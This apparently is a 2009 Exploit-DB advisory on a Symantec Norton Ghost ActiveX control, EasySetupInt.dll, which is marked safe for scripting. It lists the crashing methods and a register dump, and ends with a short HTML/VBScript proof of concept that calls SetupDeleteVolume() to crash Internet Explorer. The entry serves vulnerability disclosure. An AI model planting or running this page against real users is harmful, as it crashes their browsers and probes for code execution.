Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)

vendor:

EasySetupInt.dll

by:

shinnai

N/A

CVSS

N/A

DoS/Arbitrary code execution

Unknown

CWE

Product Name: EasySetupInt.dll

Affected Version From: 14.0.4.30167

Affected Version To: 14.0.4.30167

Patch Exists: Unknown

Related CWE: Unknown

CPE: symantec.easysetup.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP3 with Internet Explorer 7

Unknown

Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)

This component contains methods which lead into a denial of service. This is the list of components: 'GetBackupLocationPath', 'CallUninstall', 'SetupDeleteVolume', 'CanUseEasySetup', 'CallAddInitialProtection', 'CallTour'. Crash happens here: 03A6B9D6 8B10 MOV EDX,DWORD PTR DS:[EAX] and registers risuation is: EAX 00000000 ECX 774F9997 ole32.774F9997 EDX 019DCB04 EBX 00000000 ESP 019DCAE4 EBP 019DCB9C ESI 019DCCB8 EDI 00000001 EIP 03A6B9D6 EasySetu.03A6B9D6. Unfortunately the vulnerability seems to be unexploitable, however, a way to execute arbitrary code was found but it requires a high level of user interaction to work.

Mitigation:

Unknown

Source

Exploit-DB raw data:

-----------------------------------------------------------------------------------------
 Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)
 url: http://www.symantec.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 File:      EasySetupInt.dll
 Ver.:      14.0.4.30167
 ProgID:    Symantec.EasySetup.1
 Descr.:    CEasySetup Object - Support module for EasySetup wizard
 
 Marked as: RegKey Safe for Script: True
            RegKey Safe for Init: True
            Implements IObjectSafety: False
            KillBitSet: False

 Bug info:  This component contains methods which lead into a denial of
            service.
            This is the list of components:

            "GetBackupLocationPath"
            "CallUninstall"
            "SetupDeleteVolume"
            "CanUseEasySetup"
            "CallAddInitialProtection"
            "CallTour"

            Crash happens here:

            03A6B9D6   8B10             MOV EDX,DWORD PTR DS:[EAX]

            And registers risuation is:
           
            EAX 00000000
            ECX 774F9997 ole32.774F9997
            EDX 019DCB04
            EBX 00000000
            ESP 019DCAE4
            EBP 019DCB9C
            ESI 019DCCB8
            EDI 00000001
            EIP 03A6B9D6 EasySetu.03A6B9D6

            Unfortunately the vulnerability seems to be unexploitable, anyway
            I've found a way to execute arbitrary code but it's useless 
            because requires a high level of user interaction to work.
            That's why it will remain private.
            I hope that someone else will be able to exploit this vuln
            using more convenient ways.

            Peace            

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 with Internet Explorer 7
-----------------------------------------------------------------------------------------
<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SetupDeleteVolume()
 End Sub
</script>

# milw0rm.com [2009-04-23]